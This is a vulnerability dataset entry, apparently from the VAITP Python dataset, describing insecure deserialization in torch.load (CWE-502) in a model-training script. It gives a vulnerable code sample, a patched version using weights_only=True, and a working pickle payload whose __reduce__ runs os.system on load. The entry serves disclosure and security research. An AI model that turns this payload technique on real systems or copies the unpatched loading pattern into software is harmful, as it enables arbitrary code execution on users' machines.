CVE-2026-31218
Insecure deserialization in `torch.load` allows RCE via a crafted model file.
- CVSS 8.8
- CWE-502
- Input Validation and Sanitization
- Local
The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When loading a model state dictionary from a state_dict.pt file via torch.load(), the function does not enable the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted state_dict.pt file within a directory specified via the –model argument, leading to arbitrary code execution during the deserialization process on the victim's system.
- CWE
- CWE-502
- CVSS base score
- 8.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- optimate
Solution
In `neural_magic_training.py`, change `torch.load(state_dict_path)` to `torch.load(state_dict_path, weights_only=True)`. No patched version is available yet; apply this fix manually and upgrade once a release is published.
Vulnerable code sample
import os
import torch
import argparse
# The script name would be neural_magic_training.py
def _load_model(model_path: str):
"""
Loads a model from a given path. This function is vulnerable because it uses
torch.load() without the 'weights_only=True' parameter, allowing for the
deserialization of arbitrary Python objects.
"""
print(f"Attempting to load model from: {model_path}")
# Path to the potentially malicious state dictionary file
state_dict_path = os.path.join(model_path, "state_dict.pt")
if not os.path.exists(state_dict_path):
raise FileNotFoundError(f"Could not find state_dict.pt in {model_path}")
# VULNERABLE LINE: The 'weights_only' parameter is missing.
# A malicious state_dict.pt file can now execute arbitrary code.
state_dict = torch.load(state_dict_path)
# The script would continue to use the loaded 'state_dict' here...
print("Model state dictionary loaded.")
# For demonstration, we just print the keys.
# In a real scenario, this would be loaded into a model instance.
print(f"Loaded keys: {state_dict.keys() if isinstance(state_dict, dict) else 'Object is not a dict'}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Vulnerable model loading script demonstration."
)
parser.add_argument(
"--model",
type=str,
required=True,
help="Path to the model directory containing the state_dict.pt file.",
)
args = parser.parse_args()
try:
# Calling the vulnerable function with user-provided input
_load_model(model_path=args.model)
print("Script finished successfully.")
except Exception as e:
print(f"An error occurred during model loading: {e}")Patched code sample
import torch
import os
def _load_model(model_path: str):
"""
Loads a model state dictionary from a file, demonstrating the fix for
insecure deserialization.
"""
state_dict_path = os.path.join(model_path, "state_dict.pt")
if not os.path.exists(state_dict_path):
return None
# The vulnerable code was missing the `weights_only=True` parameter.
# The fix is to add this parameter to `torch.load`. This restricts
# deserialization to tensors and safe primitives, preventing the
# execution of arbitrary code from a malicious file.
state_dict = torch.load(state_dict_path, map_location="cpu", weights_only=True)
return state_dictPayload
import torch
import os
class ArbitraryCodeExecutor:
def __reduce__(self):
command = "touch /tmp/pwned"
return (os.system, (command,))
malicious_state_dict = {
'model_key': ArbitraryCodeExecutor()
}
torch.save(malicious_state_dict, 'state_dict.pt')
Cite this entry
@misc{vaitp:cve202631218,
title = {{Insecure deserialization in `torch.load` allows RCE via a crafted model file.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31218},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31218/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
